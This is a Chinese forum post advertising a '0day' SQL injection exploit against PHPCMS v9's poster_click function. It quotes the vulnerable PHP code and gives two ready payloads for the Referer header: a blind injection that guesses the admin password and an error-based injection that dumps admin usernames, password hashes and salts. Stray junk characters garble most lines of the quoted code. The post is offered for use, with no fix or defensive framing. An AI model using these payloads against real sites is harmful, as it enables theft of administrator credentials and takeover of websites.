phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
2 t7 v  T6 P. d+ X4 T# a
问题函数\phpcms\modules\poster\index.php

+ I2 l& _3 a5 P2 W& Npublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$ I" }. y; ~8 C  H; R! W3 f$r = $this->db->get_one(array('id'=>$id));
  f1 \  _* I: O* E6 C( fif (!is_array($r) && empty($r)) return false;
+ J& y2 W' T4 m& Q# t: p$ip_area = pc_base::load_sys_class('ip_area');
! L: F  V5 b% H- E5 e! ^7 I1 V$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
( j( U5 \8 ~0 h; B1 j* Uif($id) {
8 a" A2 I' i7 R* f2 l3 X& {$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
6 b" x( _$ E( q4 i6 g9 P}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ u% b& O* d9 i) K# E$setting = string2array($r['setting']);
if (count($setting)==1) {
; B/ e: @5 G( F9 r. R$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- F; W- b+ b6 s9 w: c}
header('Location: '.$url);
4 F% {* ?# ~8 @  {3 x9 Z}
" j' |9 {1 ^+ W  J: o


$ j& O+ t, i3 O* u; `利用方式：
) ~% m+ m, o5 t& r0 W, b% K
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
6 r* D, M7 P/ p$ m4 R$ R
通过返回页面，正常与否一个个猜解密码字段。
* M, k3 R9 ~- M& h1 ?* H
2、代码是花开写的，随手附上了：
: q% D0 {. V3 ~4 ?
0 t5 r, W6 H1 a1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
2 y8 W2 C9 a8 S7 R  R. i6 E
此方法是爆错注入手法，原理自查。
